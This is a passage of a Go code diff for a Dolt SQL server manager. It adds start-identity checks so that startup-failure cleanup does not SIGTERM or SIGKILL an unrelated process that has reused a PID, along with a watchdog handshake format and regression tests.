 
 func startManagedDoltSQLServerWithTestWatchdog(cityPath, configFile, logFilePath string, logFile *os.File) (managedDoltStartedProcess, error) {
@@ -550,7 +595,11 @@ func managedDoltTestWatchdogDisarmFile(logFilePath string) (string, error) {
 	return path, nil
 }
 
-func readManagedDoltTestWatchdogPID(r io.Reader, watchdogPID int) (int, error) {
+// readManagedDoltWatchdogLine reads one newline-terminated handshake line from a
+// watchdog's stdout, bounded by managedDoltTestWatchdogPIDTimeout so a wedged
+// watchdog cannot hang the caller. Shared by the test watchdog (PID only) and
+// the production scope watchdog (PID + start identity).
+func readManagedDoltWatchdogLine(r io.Reader, watchdogPID int) (string, error) {
 	type result struct {
 		line string
 		err  error
@@ -564,16 +613,77 @@ func readManagedDoltTestWatchdogPID(r io.Reader, watchdogPID int) (int, error) {
 	select {
 	case res := <-ch:
 		if res.err != nil {
-			return 0, fmt.Errorf("read dolt test watchdog pid: %w", res.err)
+			return "", res.err
 		}
-		pid, err := strconv.Atoi(strings.TrimSpace(res.line))
-		if err != nil || pid <= 0 {
-			return 0, fmt.Errorf("read dolt test watchdog pid: invalid pid %q", strings.TrimSpace(res.line))
-		}
-		return pid, nil
+		return res.line, nil
 	case <-time.After(managedDoltTestWatchdogPIDTimeout):
-		return 0, fmt.Errorf("dolt test watchdog pid timed out (watchdog pid %d)", watchdogPID)
+		return "", fmt.Errorf("dolt watchdog handshake timed out (watchdog pid %d)", watchdogPID)
+	}
+}
+
+func readManagedDoltTestWatchdogPID(r io.Reader, watchdogPID int) (int, error) {
+	line, err := readManagedDoltWatchdogLine(r, watchdogPID)
+	if err != nil {
+		return 0, fmt.Errorf("read dolt test watchdog pid: %w", err)
+	}
+	trimmed := strings.TrimSpace(line)
+	pid, err := strconv.Atoi(trimmed)
+	if err != nil || pid <= 0 {
+		return 0, fmt.Errorf("read dolt test watchdog pid: invalid pid %q", trimmed)
+	}
+	return pid, nil
+}
+
+// managedDoltWatchdogStartFieldSep separates the PID, start-time ticks, and
+// start-identity fields on the scope watchdog's one-line stdout handshake. Tab
+// is safe because the ps-lstart identity contains spaces but never a tab or a
+// newline, so the identity survives as a single trailing field.
+const managedDoltWatchdogStartFieldSep = "\t"
+
+// formatManagedDoltWatchdogStartLine renders the scope watchdog's stdout
+// handshake: the dolt child PID plus the OS start identity the parent uses to
+// guard against PID reuse. Either identity field may be zero/empty on hosts
+// without /proc or ps; the parent then behaves exactly like the direct-spawn
+// path with no snapshot.
+func formatManagedDoltWatchdogStartLine(pid int, startTimeTicks uint64, startIdentity string) string {
+	return strings.Join([]string{
+		strconv.Itoa(pid),
+		strconv.FormatUint(startTimeTicks, 10),
+		startIdentity,
+	}, managedDoltWatchdogStartFieldSep)
+}
+
+// parseManagedDoltWatchdogStartLine parses the scope watchdog handshake back
+// into the dolt child PID and its OS start identity. A legacy bare-PID line
+// (no identity fields) parses with a zero identity, keeping the reader tolerant
+// of an older watchdog binary. An empty or non-numeric PID field is an error.
+func parseManagedDoltWatchdogStartLine(line string) (pid int, startTimeTicks uint64, startIdentity string, err error) {
+	fields := strings.SplitN(strings.TrimRight(line, "\r\n"), managedDoltWatchdogStartFieldSep, 3)
+	pidField := strings.TrimSpace(fields[0])
+	pid, err = strconv.Atoi(pidField)
+	if err != nil || pid <= 0 {
+		return 0, 0, "", fmt.Errorf("invalid dolt watchdog pid %q", pidField)
+	}
+	if len(fields) >= 2 {
+		startTimeTicks, _ = strconv.ParseUint(strings.TrimSpace(fields[1]), 10, 64)
 	}
+	if len(fields) >= 3 {
+		startIdentity = strings.TrimSpace(fields[2])
+	}
+	return pid, startTimeTicks, startIdentity, nil
+}
+
+// readManagedDoltScopeWatchdogStart reads the scope watchdog's stdout handshake
+// (PID + OS start identity), bounded by the same timeout as the test watchdog
+// PID read so a wedged watchdog cannot hang startup. The identity lets the
+// parent guard startup-failure cleanup against numeric PID reuse on the
+// production scope-watchdog path.
+func readManagedDoltScopeWatchdogStart(r io.Reader, watchdogPID int) (pid int, startTimeTicks uint64, startIdentity string, err error) {
+	line, err := readManagedDoltWatchdogLine(r, watchdogPID)
+	if err != nil {
+		return 0, 0, "", fmt.Errorf("read dolt scope watchdog start: %w", err)
+	}
+	return parseManagedDoltWatchdogStartLine(line)
 }
 
 func managedDoltSQLServerSysProcAttr() *syscall.SysProcAttr {
@@ -622,11 +732,37 @@ func managedDoltTestDisarmOnReady() bool {
 	return managedDoltTestModeFromEnvOnly() && !managedDoltTestHasExternalParent()
 }
 
+// managedDoltCleanupLogf records a managed-dolt startup-failure cleanup
+// diagnostic. It defaults to a GC_DEBUG-gated stderr line so the decision is
+// observable to an operator without noising the default CLI; the production
+// reaper keeps an analogous audit via appendProtectedPID. It is a package var
+// so tests can capture the message.
+var managedDoltCleanupLogf = func(format string, args ...any) {
+	if !gcDebugEnabled() {
+		return
+	}
+	fmt.Fprintf(os.Stderr, "managed-dolt cleanup: "+format+"\n", args...)
+}
+
 func terminateManagedDoltStartedProcess(started managedDoltStartedProcess) {
 	unregisterManagedDoltStartedProcess(started)
-	_ = terminateManagedDoltPID(started.CityPath, started.PID)
+	// The reap goroutine in startManagedDoltSQLServer (and the scope watchdog)
+	// Wait()s a failed child and frees its PID, so an unrelated process can reuse
+	// it before — or during — this same-attempt cleanup; signaling by bare PID
+	// would then hit the wrong process. terminateManagedDoltPIDGuarded re-verifies
+	// the snapshotted start identity immediately before SIGTERM and again before
+	// the SIGKILL escalation, skipping (and logging) the signal on a mismatch.
+	// When no identity was snapshotted (no /proc and no ps) the guard keeps the
+	// legacy terminate.
+	_ = terminateManagedDoltPIDGuarded(started.CityPath, started.PID, func() bool {
+		return managedDoltPIDStartIdentityMatches(started.PID, started.StartTimeTicks, started.StartIdentity)
+	})
+	// The watchdog PID carries the same reuse hazard — the parent reaps it too —
+	// so guard it against its own snapshot rather than signaling it blind.
 	if started.WatchdogPID > 0 {
-		_ = terminateManagedDoltPID(started.CityPath, started.WatchdogPID)
+		_ = terminateManagedDoltPIDGuarded(started.CityPath, started.WatchdogPID, func() bool {
+			return managedDoltPIDStartIdentityMatches(started.WatchdogPID, started.WatchdogStartTimeTicks, started.WatchdogStartIdentity)
+		})
 	}
 	if started.DisarmFile != "" {
 		_ = os.Remove(started.DisarmFile)
@@ -712,7 +848,7 @@ func reapManagedDoltTestProcesses() {
 			managedDoltTestProcessRegistry.Delete(key)
 			return true
 		}
-		if started.PID > 0 && pidAlive(started.PID) && managedDoltTestPIDIdentityMatches(started) {
+		if started.PID > 0 && pidAlive(started.PID) && managedDoltStartedPIDIdentityMatches(started) {
 			_ = managedDoltTestTerminateProcess(started.PID)
 		}
 		if started.WatchdogPID > 0 && pidAlive(started.WatchdogPID) {
@@ -725,27 +861,47 @@ func reapManagedDoltTestProcesses() {
 	})
 }
 
-// managedDoltTestPIDIdentityMatches re-reads the OS-level start identity for
-// started.PID and compares it against the snapshot taken at registration. If
-// both snapshots are present and disagree, the PID was reused — we must NOT
-// terminate. If neither snapshot is present, we can't verify and fall through
-// to the existing behavior (terminate). This mirrors the production reaper's
-// sameReapProcessIdentity (cmd_dolt_cleanup.go) precedence: ticks first, ps
-// lstart as fallback.
-func managedDoltTestPIDIdentityMatches(started managedDoltStartedProcess) bool {
-	if started.StartTimeTicks != 0 {
-		current := managedDoltTestReadStartTimeTicks(started.PID)
+// managedDoltStartedPIDIdentityMatches re-reads the OS-level start identity for
+// started.PID and compares it against the snapshot taken when the process was
+// started/registered. It guards both the background test reaper
+// (reapManagedDoltTestProcesses) and the synchronous production startup-failure
+// cleanup (terminateManagedDoltStartedProcess). A present snapshot that
+// disagrees with the re-read means the PID was reused — we must NOT terminate.
+func managedDoltStartedPIDIdentityMatches(started managedDoltStartedProcess) bool {
+	return managedDoltPIDStartIdentityMatches(started.PID, started.StartTimeTicks, started.StartIdentity)
+}
+
+// managedDoltPIDStartIdentityMatches re-reads pid's OS-level start identity and
+// compares it against a snapshot (startTimeTicks/startIdentity captured while the
+// process was known alive). It backs managedDoltStartedPIDIdentityMatches and the
+// SIGTERM/SIGKILL re-checks in terminateManagedDoltPIDGuarded, including the
+// watchdog PID's own snapshot.
+//
+// Only the identity PRECEDENCE mirrors the production reaper's
+// sameReapProcessIdentity (cmd_dolt_cleanup.go): start-time ticks first, ps
+// lstart as the no-/proc fallback. The unconfirmed-re-read DEFAULT intentionally
+// diverges. Where the production reaper protects (returns false) when it cannot
+// re-confirm a live process, this returns true — keep the legacy terminate —
+// because these callers reach here only for a PID they just observed alive and
+// own: if the re-read now yields nothing the PID has genuinely vanished, so the
+// ensuing signal is a harmless ESRCH no-op, while still cleaning up our own
+// failed child on a host that momentarily cannot read /proc. When neither
+// snapshot was captured at all (no /proc and no ps) the guard likewise cannot
+// verify and keeps the legacy terminate.
+func managedDoltPIDStartIdentityMatches(pid int, startTimeTicks uint64, startIdentity string) bool {
+	if startTimeTicks != 0 {
+		current := managedDoltTestReadStartTimeTicks(pid)
 		if current == 0 {
 			return true
 		}
-		return current == started.StartTimeTicks
+		return current == startTimeTicks
 	}
-	if started.StartIdentity != "" {
-		current := managedDoltTestReadStartIdentity(started.PID)
+	if startIdentity != "" {
+		current := managedDoltTestReadStartIdentity(pid)
 		if current == "" {
 			return true
 		}
-		return current == started.StartIdentity
+		return current == startIdentity
 	}
 	return true
 }
@@ -898,9 +1054,32 @@ func resolveDoltArchiveLevel(explicit int) int {
 // cityPath (test watchdog, recovery cleanup without a city) keeps the legacy
 // unconditional SIGKILL.
 func terminateManagedDoltPID(cityPath string, pid int) error {
+	return terminateManagedDoltPIDGuarded(cityPath, pid, nil)
+}
+
+// terminateManagedDoltPIDGuarded is terminateManagedDoltPID with a PID-reuse
+// guard. When identityMatches is non-nil it is evaluated immediately before the
+// SIGTERM and again immediately before the SIGKILL escalation; a false result
+// means the numeric PID no longer belongs to the process we intended to signal
+// (it exited, was reaped, and the number was reused), so the pending signal is
+// skipped and the decision is logged.
+//
+// The SIGKILL re-check is the load-bearing one. terminateManagedDoltPID's own
+// caller (terminateManagedDoltStartedProcess) checks identity once at entry, but
+// the target can exit and its PID be reused during the SIGTERM grace below —
+// pidAlive then reports the reused process as alive, the grace runs to its
+// deadline, and a bare-PID SIGKILL would land on the stranger. Re-verifying just
+// before the kill closes that window. A nil guard keeps the legacy unconditional
+// behavior for callers that never snapshotted an identity (test watchdog,
+// recovery cleanup, pre-handshake scope watchdog).
+func terminateManagedDoltPIDGuarded(cityPath string, pid int, identityMatches func() bool) error {
 	if pid <= 0 {
 		return nil
 	}
+	if identityMatches != nil && !identityMatches() {
+		managedDoltCleanupLogf("skipping terminate of pid %d: start identity changed (PID reused)", pid)
+		return nil
+	}
 	process, err := os.FindProcess(pid)
 	if err != nil {
 		return err
@@ -923,6 +1102,14 @@ func terminateManagedDoltPID(cityPath string, pid int) error {
 			return nil
 		}
 	}
+	// Re-verify identity immediately before the forced kill: the target outlived
+	// the SIGTERM grace, but if it exited and the PID was reused mid-grace,
+	// pidAlive is now reporting the reused process. Skip the SIGKILL on a
+	// mismatch so it never lands on an unrelated process.
+	if identityMatches != nil && !identityMatches() {
+		managedDoltCleanupLogf("skipping SIGKILL of pid %d: start identity changed (PID reused)", pid)
+		return nil
+	}
 	_ = process.Signal(syscall.SIGKILL)
 	time.Sleep(250 * time.Millisecond)
 	return nil
diff --git a/cmd/gc/dolt_start_managed_test.go b/cmd/gc/dolt_start_managed_test.go
index 9dec855f30..c914670fb2 100644
--- a/cmd/gc/dolt_start_managed_test.go
+++ b/cmd/gc/dolt_start_managed_test.go
@@ -769,6 +769,428 @@ func TestTerminateManagedDoltStartedProcessUnregistersFailedStartup(t *testing.T
 	}
 }
 
+// TestTerminateManagedDoltStartedProcessSkipsReusedPID is the PR #4004 review
+// follow-up regression. startManagedDoltSQLServer now reaps a failed dolt child
+// with a background cmd.Wait(), which frees the numeric PID. A same-attempt
+// startup-failure cleanup must therefore verify the PID's start identity before
+// signaling, or it could SIGTERM/SIGKILL an unrelated process that reused the
+// PID after the child exited. With a snapshot that disagrees with the re-read
+// identity, the cleanup must skip the signal and leave the reused process alive.
+func TestTerminateManagedDoltStartedProcessSkipsReusedPID(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX signal semantics required")
+	}
+
+	// A real, unrelated process standing in for the one that reused the PID.
+	// It must still be alive after the cleanup runs.
+	victim := exec.Command("sleep", "60")
+	if err := victim.Start(); err != nil {
+		t.Fatalf("start victim: %v", err)
+	}
+	victimPID := victim.Process.Pid
+	t.Cleanup(func() {
+		_ = victim.Process.Kill()
+		_ = victim.Wait()
+	})
+
+	// Snapshot taken at start says ticks=1111; the live PID re-reads as 2222 —
+	// a different process incarnation, so the cleanup must not signal it.
+	oldTicks := managedDoltTestReadStartTimeTicks
+	oldIdent := managedDoltTestReadStartIdentity
+	managedDoltTestReadStartTimeTicks = func(int) uint64 { return 2222 }
+	managedDoltTestReadStartIdentity = func(int) string { return "" }
+	t.Cleanup(func() {
+		managedDoltTestReadStartTimeTicks = oldTicks
+		managedDoltTestReadStartIdentity = oldIdent
+	})
+
+	terminateManagedDoltStartedProcess(managedDoltStartedProcess{PID: victimPID, StartTimeTicks: 1111})
+
+	// Give any erroneous SIGTERM time to land before asserting survival.
+	time.Sleep(200 * time.Millisecond)
+	if !pidAlive(victimPID) {
+		t.Fatalf("terminateManagedDoltStartedProcess signaled reused PID %d; production identity guard not enforced", victimPID)
+	}
+}
+
+// TestTerminateManagedDoltStartedProcessSignalsWhenIdentityMatches asserts the
+// happy-path side of the same guard: when the re-read start identity matches the
+// snapshot, the dolt child we actually started is still terminated.
+func TestTerminateManagedDoltStartedProcessSignalsWhenIdentityMatches(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX signal semantics required")
+	}
+
+	child := exec.Command("sleep", "60")
+	if err := child.Start(); err != nil {
+		t.Fatalf("start child: %v", err)
+	}
+	childPID := child.Process.Pid
+	t.Cleanup(func() {
+		_ = child.Process.Kill()
+		_ = child.Wait()
+	})
+
+	oldTicks := managedDoltTestReadStartTimeTicks
+	managedDoltTestReadStartTimeTicks = func(int) uint64 { return 5555 }
+	t.Cleanup(func() { managedDoltTestReadStartTimeTicks = oldTicks })
+
+	terminateManagedDoltStartedProcess(managedDoltStartedProcess{PID: childPID, StartTimeTicks: 5555})
+
+	// terminateManagedDoltPID waits for the SIGTERM to land (sleep dies on it),
+	// so the child must be gone once the cleanup returns.
+	deadline := time.Now().Add(2 * time.Second)
+	for time.Now().Before(deadline) {
+		if !pidAlive(childPID) {
+			return
+		}
+		time.Sleep(20 * time.Millisecond)
+	}
+	t.Fatalf("terminateManagedDoltStartedProcess did not signal matching PID %d; identity guard wrongly skipped it", childPID)
+}
+
+// TestTerminateManagedDoltStartedProcessSkipsReusedPIDBeforeSIGKILL is the
+// PR #4004 attempt-4 regression: the entry identity guard is not sufficient on
+// its own. terminateManagedDoltPID SIGTERMs, waits out the grace, then escalates
+// to SIGKILL by bare PID, so a child that exits and has its PID reused *during*
+// the grace must be re-verified before the forced kill. This drives the real
+// cleanup with an identity that matches at the SIGTERM check and mismatches at
+// the SIGKILL re-check, against a process that ignores SIGTERM so the escalation
+// is actually reached.
+func TestTerminateManagedDoltStartedProcessSkipsReusedPIDBeforeSIGKILL(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX signal semantics required")
+	}
+	city, _ := raceTestCity(t, "[workspace]\nname = \"reuse-test\"\n\n[daemon]\ndolt_stop_timeout = \"100ms\"\n")
+	dataDir := filepath.Join(city, ".beads", "dolt")
+	pid := startSigtermIgnoringProcess(t, dataDir)
+
+	// The snapshot is ticks=1111. The live PID re-reads as 1111 on the first
+	// check (before SIGTERM: still our child) then 2222 afterwards (before the
+	// SIGKILL escalation: our child exited and the PID was reused mid-grace).
+	var reads int
+	oldTicks := managedDoltTestReadStartTimeTicks
+	managedDoltTestReadStartTimeTicks = func(int) uint64 {
+		reads++
+		if reads == 1 {
+			return 1111
+		}
+		return 2222
+	}
+	t.Cleanup(func() { managedDoltTestReadStartTimeTicks = oldTicks })
+
+	oldLog := managedDoltCleanupLogf
+	var logged []string
+	managedDoltCleanupLogf = func(format string, args ...any) {
+		logged = append(logged, fmt.Sprintf(format, args...))
+	}
+	t.Cleanup(func() { managedDoltCleanupLogf = oldLog })
+
+	terminateManagedDoltStartedProcess(managedDoltStartedProcess{CityPath: city, PID: pid, StartTimeTicks: 1111})
+
+	if reads < 2 {
+		t.Fatalf("identity re-read %d time(s); the SIGKILL escalation must re-verify identity (want >= 2)", reads)
+	}
+	if !pidAlive(pid) {
+		t.Fatal("startup cleanup SIGKILLed a PID reused during the SIGTERM grace; escalation guard not enforced")
+	}
+	if len(logged) != 1 || !strings.Contains(logged[0], "SIGKILL") || !strings.Contains(logged[0], strconv.Itoa(pid)) {
+		t.Fatalf("expected exactly one SIGKILL-skip log naming pid %d, got %v", pid, logged)
+	}
+}
+
+// TestTerminateManagedDoltStartedProcessForceKillsWhenIdentityStable is the
+// happy-path companion: when the start identity stays stable across the whole
+// termination, the SIGKILL escalation must still fire on a process that ignores
+// SIGTERM. This proves the escalation guard does not break the legacy forced
+// kill for our own wedged child.
+func TestTerminateManagedDoltStartedProcessForceKillsWhenIdentityStable(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX signal semantics required")
+	}
+	city, _ := raceTestCity(t, "[workspace]\nname = \"stable-test\"\n\n[daemon]\ndolt_stop_timeout = \"100ms\"\n")
+	dataDir := filepath.Join(city, ".beads", "dolt")
+	pid := startSigtermIgnoringProcess(t, dataDir)
+
+	oldTicks := managedDoltTestReadStartTimeTicks
+	managedDoltTestReadStartTimeTicks = func(int) uint64 { return 3333 }
+	t.Cleanup(func() { managedDoltTestReadStartTimeTicks = oldTicks })
+
+	terminateManagedDoltStartedProcess(managedDoltStartedProcess{CityPath: city, PID: pid, StartTimeTicks: 3333})
+
+	deadline := time.Now().Add(2 * time.Second)
+	for pidAlive(pid) && time.Now().Before(deadline) {
+		time.Sleep(20 * time.Millisecond)
+	}
+	if pidAlive(pid) {
+		t.Fatal("startup cleanup did not SIGKILL a stable-identity child that ignored SIGTERM")
+	}
+}
+
+// TestScopeWatchdogTerminateSkipsReusedWatchdogPID proves the PR #4004 attempt-4
+// watchdog guard: the parent reaps the scope watchdog with a background Wait(),
+// so its PID can be freed and reused too. When the watchdog's own snapshot no
+// longer matches the live PID, cleanup must skip signaling it — while a dolt PID
+// whose snapshot still matches is signaled normally.
+func TestScopeWatchdogTerminateSkipsReusedWatchdogPID(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX signal semantics required")
+	}
+
+	// doltChild's snapshot matches the mocked re-read (2222), so it is signaled
+	// (a sleep dies on SIGTERM).
+	doltChild := exec.Command("sleep", "60")
+	if err := doltChild.Start(); err != nil {
+		t.Fatalf("start dolt child: %v", err)
+	}
+	doltChildPID := doltChild.Process.Pid
+	t.Cleanup(func() {
+		_ = doltChild.Process.Kill()
+		_ = doltChild.Wait()
+	})
+
+	// watchdogVictim stands in for an unrelated process that reused the watchdog
+	// PID after the parent reaped it; its snapshot (1111) disagrees with the live
+	// re-read (2222), so cleanup must leave it alone.
+	watchdogVictim := exec.Command("sleep", "60")
+	if err := watchdogVictim.Start(); err != nil {
+		t.Fatalf("start watchdog victim: %v", err)
+	}
+	watchdogVictimPID := watchdogVictim.Process.Pid
+	t.Cleanup(func() {
+		_ = watchdogVictim.Process.Kill()
+		_ = watchdogVictim.Wait()
+	})
+
+	oldTicks := managedDoltTestReadStartTimeTicks
+	oldIdent := managedDoltTestReadStartIdentity
+	managedDoltTestReadStartTimeTicks = func(int) uint64 { return 2222 }
+	managedDoltTestReadStartIdentity = func(int) string { return "" }
+	t.Cleanup(func() {
+		managedDoltTestReadStartTimeTicks = oldTicks
+		managedDoltTestReadStartIdentity = oldIdent
+	})
+
+	terminateManagedDoltStartedProcess(managedDoltStartedProcess{
+		PID:                    doltChildPID,
+		StartTimeTicks:         2222,
+		WatchdogPID:            watchdogVictimPID,
+		WatchdogStartTimeTicks: 1111,
+	})
+
+	// The dolt child's SIGTERM lands (a zombie reads as not-alive) once cleanup
+	// returns.
+	if pidAlive(doltChildPID) {
+		t.Fatalf("cleanup did not signal matching dolt pid %d", doltChildPID)
+	}
+	// Give any erroneous watchdog SIGTERM time to land before asserting survival.
+	time.Sleep(200 * time.Millisecond)
+	if !pidAlive(watchdogVictimPID) {
+		t.Fatalf("cleanup signaled reused watchdog pid %d; watchdog identity guard not enforced", watchdogVictimPID)
+	}
+}
+
+// TestManagedDoltWatchdogStartLineRoundTrip pins the scope watchdog's stdout
+// handshake protocol (PR #4004 F1 follow-up): the PID and OS start identity must
+// survive format→parse so the parent can guard PID reuse. The identity is a
+// `ps -o lstart=` string that contains spaces, which the tab delimiter must not
+// split, and a legacy bare-PID line must still parse (zero identity).
+func TestManagedDoltWatchdogStartLineRoundTrip(t *testing.T) {
+	cases := []struct {
+		name     string
+		pid      int
+		ticks    uint64
+		identity string
+	}{
+		{"ticks only", 4321, 998877, ""},
+		{"identity with spaces", 4321, 0, "Mon Jul  7 01:23:45 2026"},
+		{"both present", 51, 12, "Tue Jul  8 09:00:01 2026"},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			line := formatManagedDoltWatchdogStartLine(tc.pid, tc.ticks, tc.identity)
+			if strings.ContainsAny(line, "\n") {
+				t.Fatalf("handshake line must be single-line, got %q", line)
+			}
+			pid, ticks, identity, err := parseManagedDoltWatchdogStartLine(line)
+			if err != nil {
+				t.Fatalf("parse %q: %v", line, err)
+			}
+			if pid != tc.pid || ticks != tc.ticks || identity != tc.identity {
+				t.Fatalf("round-trip = (pid %d, ticks %d, identity %q), want (%d, %d, %q)",
+					pid, ticks, identity, tc.pid, tc.ticks, tc.identity)
+			}
+		})
+	}
+
+	t.Run("legacy bare pid line", func(t *testing.T) {
+		pid, ticks, identity, err := parseManagedDoltWatchdogStartLine("7788\n")
+		if err != nil {
+			t.Fatalf("parse legacy line: %v", err)
+		}
+		if pid != 7788 || ticks != 0 || identity != "" {
+			t.Fatalf("legacy parse = (pid %d, ticks %d, identity %q), want (7788, 0, \"\")", pid, ticks, identity)
+		}
+	})
+
+	t.Run("invalid pid errors", func(t *testing.T) {
+		for _, bad := range []string{"", "  ", "0", "-3", "notapid"} {
+			if _, _, _, err := parseManagedDoltWatchdogStartLine(bad); err == nil {
+				t.Errorf("parseManagedDoltWatchdogStartLine(%q) = nil error, want error", bad)
+			}
+		}
+	})
+}
+
+// TestScopeWatchdogTerminateSkipsReusedDoltPIDButSignalsWatchdog is the PR #4004
+// F1 regression: the production scope-watchdog start path now reports the dolt
+// child's start identity, so a startup-failure cleanup must skip a reused dolt
+// PID exactly like the direct-spawn path — while still signaling the watchdog
+// whose own snapshot still matches. It rebuilds the started process through the
+// real handshake reader so the test exercises the scope path's identity plumbing
+// end to end.
+func TestScopeWatchdogTerminateSkipsReusedDoltPIDButSignalsWatchdog(t *testing.T) {
+	if runtime.GOOS == "windows" {
+		t.Skip("POSIX signal semantics required")
+	}
+
+	// doltVictim stands in for an unrelated process that reused the dolt child's
+	// numeric PID after the scope watchdog reaped it; it must survive cleanup.
+	doltVictim := exec.Command("sleep", "60")
+	if err := doltVictim.Start(); err != nil {
+		t.Fatalf("start dolt victim: %v", err)
+	}
+	doltVictimPID := doltVictim.Process.Pid
+	t.Cleanup(func() {
+		_ = doltVictim.Process.Kill()
+		_ = doltVictim.Wait()
+	})
+
+	// watchdogVictim stands in for the still-tracked scope watchdog, which
+	// cleanup always signals regardless of the dolt PID-reuse guard.
+	watchdogVictim := exec.Command("sleep", "60")
+	if err := watchdogVictim.Start(); err != nil {
+		t.Fatalf("start watchdog victim: %v", err)
+	}
+	watchdogVictimPID := watchdogVictim.Process.Pid
+	t.Cleanup(func() {
+		_ = watchdogVictim.Process.Kill()
+		_ = watchdogVictim.Wait()
+	})
+
+	// Rebuild the started process exactly as startManagedDoltSQLServerWithScopeWatchdog
+	// does: parse the watchdog's stdout handshake, which now carries the identity
+	// (ticks=1111) snapshotted before the child could be reaped.
+	line := formatManagedDoltWatchdogStartLine(doltVictimPID, 1111, "")
+	pid, ticks, ident, err := readManagedDoltScopeWatchdogStart(strings.NewReader(line+"\n"), watchdogVictimPID)
+	if err != nil {
+		t.Fatalf("read scope watchdog start: %v", err)
+	}
+	if pid != doltVictimPID || ticks != 1111 {
+		t.Fatalf("handshake round-trip pid=%d ticks=%d, want pid=%d ticks=1111", pid, ticks, doltVictimPID)
+	}
+	started := managedDoltStartedProcess{
+		PID:            pid,
+		WatchdogPID:    watchdogVictimPID,
+		StartTimeTicks: ticks,
+		StartIdentity:  ident,
+		// The watchdog's own snapshot matches the mocked re-read (2222) below, so
+		// its guard passes and cleanup still signals it — only the dolt PID is
+		// treated as reused.
+		WatchdogStartTimeTicks: 2222,
+	}
+
+	// The live PID re-reads as a different incarnation (2222 != 1111), so the
+	// dolt PID must be treated as reused and left alone.
+	oldTicks := managedDoltTestReadStartTimeTicks
+	oldIdent := managedDoltTestReadStartIdentity
+	managedDoltTestReadStartTimeTicks = func(int) uint64 { return 2222 }
+	managedDoltTestReadStartIdentity = func(int) string { return "" }
+	t.Cleanup(func() {
+		managedDoltTestReadStartTimeTicks = oldTicks
+		managedDoltTestReadStartIdentity = oldIdent
+	})
+
+	terminateManagedDoltStartedProcess(started)
+
+	// terminateManagedDoltPID waits for the watchdog's SIGTERM to land, so it is
+	// gone (a zombie reads as not-alive) once cleanup returns.
+	if pidAlive(watchdogVictimPID) {
+		t.Fatalf("scope cleanup did not signal watchdog pid %d", watchdogVictimPID)
+	}
+	// Give any erroneous SIGTERM to the dolt PID time to land before asserting.
+	time.Sleep(200 * time.Millisecond)
+	if !pidAlive(doltVictimPID) {
+		t.Fatalf("scope cleanup signaled reused dolt pid %d; scope-path identity guard not enforced", doltVictimPID)
+	}
+}
+
+// TestTerminateManagedDoltStartedProcessLogsIdentityMismatchSkip covers the
+// PR #4004 F2 observability fix: when the guard declines to signal a reused PID,
+// cleanup records the decision so an operator can tell the guard fired rather
+// than that cleanup killed the child.
+func TestTerminateManagedDoltStartedProcessLogsIdentityMismatchSkip(t *testing.T) {
+	oldTicks := managedDoltTestReadStartTimeTicks
+	managedDoltTestReadStartTimeTicks = func(int) uint64 { return 2222 }
+	t.Cleanup(func() { managedDoltTestReadStartTimeTicks = oldTicks })
+
+	oldLog := managedDoltCleanupLogf
+	var logged []string
+	managedDoltCleanupLogf = func(format string, args ...any) {
+		logged = append(logged, fmt.Sprintf(format, args...))
+	}
+	t.Cleanup(func() { managedDoltCleanupLogf = oldLog })
+
+	// Snapshot 1111 disagrees with the re-read 2222: PID reused, terminate skipped.
+	terminateManagedDoltStartedProcess(managedDoltStartedProcess{PID: 424242, StartTimeTicks: 1111})
+
+	if len(logged) != 1 {
+		t.Fatalf("expected exactly one cleanup log line, got %d: %v", len(logged), logged)
+	}
+	if !strings.Contains(logged[0], "424242") || !strings.Contains(logged[0], "identity changed") {
+		t.Fatalf("cleanup log %q missing pid or reason", logged[0])
+	}
+}
+
+// TestManagedDoltStartedPIDIdentityMatchesUnconfirmedReRead documents the
+// PR #4004 F3 boundary: only the identity precedence mirrors the production
+// reaper, while an unconfirmed re-read (the snapshot is present but the live
+// process yields no identity) intentionally keeps the legacy terminate default,
+// because the ensuing signal to a vanished PID is a harmless ESRCH no-op.
+func TestManagedDoltStartedPIDIdentityMatchesUnconfirmedReRead(t *testing.T) {
+	oldTicks := managedDoltTestReadStartTimeTicks
+	oldIdent := managedDoltTestReadStartIdentity
+	t.Cleanup(func() {
+		managedDoltTestReadStartTimeTicks = oldTicks
+		managedDoltTestReadStartIdentity = oldIdent
+	})
+
+	cases := []struct {
+		name        string
+		started     managedDoltStartedProcess
+		reReadTicks uint64
+		reReadIdent string
+		want        bool
+	}{
+		{"ticks match terminates", managedDoltStartedProcess{PID: 1, StartTimeTicks: 10}, 10, "", true},
+		{"ticks mismatch skips", managedDoltStartedProcess{PID: 1, StartTimeTicks: 10}, 11, "", false},
+		{"ticks unconfirmed terminates", managedDoltStartedProcess{PID: 1, StartTimeTicks: 10}, 0, "", true},
+		{"identity match terminates", managedDoltStartedProcess{PID: 1, StartIdentity: "A"}, 0, "A", true},
+		{"identity mismatch skips", managedDoltStartedProcess{PID: 1, StartIdentity: "A"}, 0, "B", false},
+		{"identity unconfirmed terminates", managedDoltStartedProcess{PID: 1, StartIdentity: "A"}, 0, "", true},
+		{"no snapshot terminates", managedDoltStartedProcess{PID: 1}, 0, "", true},
+	}
+	for _, tc := range cases {
+		t.Run(tc.name, func(t *testing.T) {
+			managedDoltTestReadStartTimeTicks = func(int) uint64 { return tc.reReadTicks }
+			managedDoltTestReadStartIdentity = func(int) string { return tc.reReadIdent }
+			if got := managedDoltStartedPIDIdentityMatches(tc.started); got != tc.want {
+				t.Errorf("managedDoltStartedPIDIdentityMatches = %v, want %v", got, tc.want)
+			}
+		})
+	}
+}
+
 func TestReapManagedDoltTestProcessesTerminatesRegisteredChildren(t *testing.T) {
 	withManagedDoltTestMode(t, true)
 	clearManagedDoltTestProcessRegistry(t)
diff --git a/cmd/gc/dolt_stop_managed.go b/cmd/gc/dolt_stop_managed.go
index 1f88afbe7f..5627b8159a 100644
--- a/cmd/gc/dolt_stop_managed.go
+++ b/cmd/gc/dolt_stop_managed.go
@@ -123,15 +123,27 @@ func stopManagedDoltProcessWithOptions(cityPath, port string, clearPublishedStat
 		if err := waitManagedDoltSIGKILLLockGate(targetPID, layout.DataDir, managedStopPIDAlive, gracePeriod, lockWindow, pollInterval); err != nil {
